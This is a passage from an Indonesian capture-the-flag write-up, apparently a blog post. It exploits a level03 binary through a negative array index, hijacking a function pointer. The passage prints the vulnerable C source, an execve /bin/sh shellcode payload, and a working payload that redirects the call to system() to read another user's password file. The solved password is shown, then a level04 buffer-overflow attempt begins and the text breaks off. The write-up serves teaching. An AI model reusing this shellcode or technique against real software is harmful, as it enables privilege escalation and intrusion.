[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length</pre></div></div>

<p style="text-align: justify;">
Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita inginkan adalah aplikasi ini membaca file /home/level04/.password. Bagaimanakah caranya?
</p>
<p style="text-align: justify;">
Berikut ini adalah source code aplikasinya.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;string.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#include &lt;ctype.h&gt;</span>
&nbsp;
<span style="color: #339933;">#define NUM_FNS 4</span>
&nbsp;
<span style="color: #993333;">typedef</span> <span style="color: #993333;">int</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>fn_ptr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">int</span> to_upper<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>str<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Uppercased string: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #993333;">int</span> i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">;</span> str<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
    putchar<span style="color: #009900;">&#40;</span>toupper<span style="color: #009900;">&#40;</span>str<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> to_lower<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>str<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Lowercased string: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #993333;">int</span> i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">;</span> str<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
    putchar<span style="color: #009900;">&#40;</span>tolower<span style="color: #009900;">&#40;</span>str<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> capitalize<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>str<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Capitalized string: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  putchar<span style="color: #009900;">&#40;</span>toupper<span style="color: #009900;">&#40;</span>str<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #993333;">int</span> i <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">;</span> str<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
    putchar<span style="color: #009900;">&#40;</span>tolower<span style="color: #009900;">&#40;</span>str<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> str<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> length<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>str<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #993333;">int</span> len <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>len<span style="color: #339933;">;</span> str<span style="color: #009900;">&#91;</span>len<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> len<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Length of string '%s': %d<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> str<span style="color: #339933;">,</span> len<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> run<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>str<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #666666; font-style: italic;">// This function is now deprecated.</span>
  <span style="color: #b1b100;">return</span> system<span style="color: #009900;">&#40;</span>str<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> truncate_and_call<span style="color: #009900;">&#40;</span>fn_ptr <span style="color: #339933;">*</span>fns<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> index<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>user_string<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #993333;">char</span> buf<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">64</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #666666; font-style: italic;">// Truncate supplied string</span>
  strncpy<span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> user_string<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  buf<span style="color: #009900;">&#91;</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">return</span> fns<span style="color: #009900;">&#91;</span>index<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #993333;">int</span> index<span style="color: #339933;">;</span>
  fn_ptr fns<span style="color: #009900;">&#91;</span>NUM_FNS<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #339933;">&amp;</span>to_upper<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>to_lower<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>capitalize<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>length<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">!=</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Usage: ./level03 INDEX STRING<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Possible indices:<span style="color: #000099; font-weight: bold;">\n</span>[0] to_upper<span style="color: #000099; font-weight: bold;">\t</span>[1] to_lower<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[2] capitalize<span style="color: #000099; font-weight: bold;">\t</span>[3] length<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    exit<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #666666; font-style: italic;">// Parse supplied index</span>
  index <span style="color: #339933;">=</span> atoi<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>index <span style="color: #339933;">&gt;=</span> NUM_FNS<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Invalid index.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Possible indices:<span style="color: #000099; font-weight: bold;">\n</span>[0] to_upper<span style="color: #000099; font-weight: bold;">\t</span>[1] to_lower<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[2] capitalize<span style="color: #000099; font-weight: bold;">\t</span>[3] length<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    exit<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #b1b100;">return</span> truncate_and_call<span style="color: #009900;">&#40;</span>fns<span style="color: #339933;">,</span> index<span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><b>Unsafe Function Pointer Usage</b></p>
<p style="text-align: justify;">
Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian function pointer. Pemakaian function pointer bila tidak hati-hati bisa dieksploitasi untuk mengeksekusi function/code lain yang tidak diharapkan programmernya.
</p>
<p style="text-align: justify;">
Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui  kumpulan function pointer yang disimpan dalam array bernama fns (lihat baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di index [0], alamat fungsi to_lower() di index [1], alamat fungsi capitalize() di index [2] dan alamat fungsi length() di index[3] terurut sesuai index dalam array sehingga bila user memasukkan index 0, maka fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang dipanggil adalah fungsi to_lower() dan seterusnya.
</p>
<p><b>Array index out of bounds</b></p>
<p style="text-align: justify;">
Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4, maka program akan menampilkan pesan errror kemudian exit(). Validasi ini mencegah pengaksesan array fns dengan index >= 4 karena batas atas index array fns adalah 3.
</p>
<p style="text-align: justify;">
Namun validasi ini tidak sempurna karena hanya membatasi index di batas atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila index yang dimasukkan < 0 (index negatif).
</p>
<p><b>Negative index array</b></p>
<p style="text-align: justify;">
Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai offset.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf2.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf2.jpg" alt="" title="ctf2" width="305" height="148" class="aligncenter size-full wp-image-2933" /></a></p>
<p style="text-align: justify;">
Karena fns adalah array of function pointer, setiap kotak index di gambar di atas mengandung alamat memori code yang nanti akan dieksekusi bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi alamat to_lower(), index[2] berisi alamat capitalize() dan index[3] berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi alamat fungsi apa?
</p>
<p style="text-align: justify;">
index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi, jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di memori.
</p>
<p><b>Cara 1</b></p>
<p style="text-align: justify;">
Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat fns merujuk pada alamat shellcode tersebut berada dengan index array negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya akan saya injeksi sebagai input string (argv[2]).
</p>
<p style="text-align: justify;">
Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena adanya ASLR (address space layout randomization), maka lokasi shellcode sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari strncpy() adalah address of buf, sehingga dijamin register EAX akan berisi alamat buf setelah strncpy() selesai.
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> truncate_and_call<span style="color: #009900;">&#40;</span>fn_ptr <span style="color: #339933;">*</span>fns<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> index<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>user_string<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #993333;">char</span> buf<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">64</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #666666; font-style: italic;">// Truncate supplied string</span>
  strncpy<span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> user_string<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  buf<span style="color: #009900;">&#91;</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">return</span> fns<span style="color: #009900;">&#91;</span>index<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p style="text-align: justify;">
Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi memori yang mengandung instruksi CALL EAX (karena EAX = address of buf, maka CALL EAX = execute shellcode in buf).
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d /levels/level03|grep call|grep eax
 8048598:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 80485df:       ff d0                   call   *%eax
 804892b:       ff d0                   call   *%eax</pre></div></div>

<p style="text-align: justify;">
Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah alamat dari fungsi &#8220;call eax&#8221; (agar lebih mudah kita anggap saja ini sebuah fungsi bernama &#8220;call eax&#8221;). Alamat &#8220;call eax&#8221; ini statik, tidak ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.
</p>
<p style="text-align: justify;">
Kita simpan dulu saja alamat fungsi &#8220;call eax&#8221; ini. Kita lihat dulu bagaimana payload yang akan kita injeksi. Payload ini berisi shellcode+alamat fungsi &#8220;call eax&#8221;. Shellcode yang saya pakai adalah shellcode yang pernah saya bahas di artikel saya tentang membuat <a href="http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-1/" title="Belajar Membuat Shellcode (I): Local Exploit Shellcode">shellcode untuk local exploit</a>. Shellcode ini ukurannya 35 byte.
</p>
<p style="text-align: justify;">
Jadi payload yang akan diinjeksi adalah:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08</pre></div></div>

<p style="text-align: justify;">
35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi 36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload tersebut adalah alamat fungsi &#8220;call eax&#8221; sehingga total menjadi 40 byte (tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan berapa index array fns yang akan dipakai?
</p>
<p style="text-align: justify;">
Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi &#8220;call eax&#8221;.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf3.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf3.jpg" alt="" title="ctf3" width="594" height="237" class="aligncenter size-full wp-image-2942" /></a></p>
<p style="text-align: justify;">
Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk pada alamat fungsi &#8220;call eax&#8221; adalah -19. Perhatikan bahwa fns[-19] merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat fungsi &#8220;call eax&#8221;). Jadi seperti halnya fns[0] berisi alamat to_upper(), fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi &#8220;call eax&#8221;.
</p>
<p style="text-align: justify;">
Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode, sehingga CALL EAX = CALL SHELLCODE.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf4.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf4.jpg" alt="" title="ctf4" width="606" height="382" class="aligncenter size-full wp-image-2945" /></a></p>
<p style="text-align: justify;">
Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf5.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf5.jpg" alt="" title="ctf5" width="595" height="100" class="aligncenter size-full wp-image-2946" /></a></p>
<p style="text-align: justify;">
Ternyata penyebabnya adalah non-executable stack:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ readelf -l /levels/level03 |grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
$ fvvvvv</pre></div></div>

<p style="text-align: justify;">
Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf6.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/02/ctf6.jpg" alt="" title="ctf6" width="606" height="262" class="aligncenter size-full wp-image-2948" /></a><br />
<b>Cara 2</b></p>
<p style="text-align: justify;">
Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada function run() yang isinya adalah memanggil fungsi system(). Fungsi ini ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan dalam kumpulan function pointer di array fns seperti to_upper(), to_lower(), capitalize() dan length().
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> run<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>str<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #666666; font-style: italic;">// This function is now deprecated.</span>
  <span style="color: #b1b100;">return</span> system<span style="color: #009900;">&#40;</span>str<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p style="text-align: justify;">
Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap saja sebagai sebuah function, run() tetap memiliki alamat.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep '&lt;run&gt;'
0804875b &lt;run&gt;:</pre></div></div>

<p style="text-align: justify;">
Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b. Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif, fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim sebagai argument program (argv[2]) adalah:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08</pre></div></div>

<p style="text-align: justify;">
Di dalam payload ada &#8220;\n#&#8221; yang fungsinya sebagai comment, sehingga 4 byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload panjangnya 36 (kelipatan 4).
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gdb -q --args /levels/level03 -20 &quot;$(printf &quot;cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08&quot;)&quot;
&nbsp;
Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20,
    user_string=0xffb2591f &quot;cat /home/level04/.password\n\n\n\n#[\207\004\b&quot;)
    at level03.c:62
&nbsp;
(gdb) x/12xw &amp;buf
0xffb23f8c:     0x20746163      0x6d6f682f      0x656c2f65      0x306c6576
0xffb23f9c:     0x702e2f34      0x77737361      0x0a64726f      0x230a0a0a
0xffb23fac:     0x0804875b      0x00000000      0x00000000      0x00000000
(gdb) p &amp;fns[-20]
$1 = (fn_ptr *) 0xffb23fac
(gdb) p *(fns[-20])
$2 = {int (const char *)} 0x804875b &lt;run&gt;</pre></div></div>

<p style="text-align: justify;">
Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0&#215;20746163 = &#8220;cat &#8220;, 0x6d6f682f = &#8220;/hom&#8221; dst). Akhir dari payload kita ada pada alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi &#8220;call eax&#8221;).  Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi dalam buf yang berisi alamat fungsi &#8220;call eax&#8221; (0xffb23fac) dalam kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().
</p>
<p style="text-align: justify;">
Seperti yang lainnya juga, bila user memasukkan index 0, maka yang dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini user memasukkan index -20, maka yang dipanggil adalah fungsi run().
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ /levels/level03 -20 &quot;$(printf &quot;cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08&quot;)&quot;
i5cBbPvPCpcP</pre></div></div>

<p style="text-align: justify;">
Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.
</p>
<p><b>Level 04</b></p>
<p style="text-align: justify;">
Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus menyalahgunakan aplikasi /levels/level04 untuk membaca file /home/level05/.password
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">Congratulations on making it to level 4!
&nbsp;
The password for the next level is in /home/level05/.password. As
before, you may find /levels/level04 and /levels/level04.c useful.
The vulnerabilities overfloweth!</pre></div></div>

<p style="text-align: justify;">
Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf &quot;A&quot;x1100')
Reading symbols from /levels/level04...(no debugging symbols found)...done.
(gdb) r
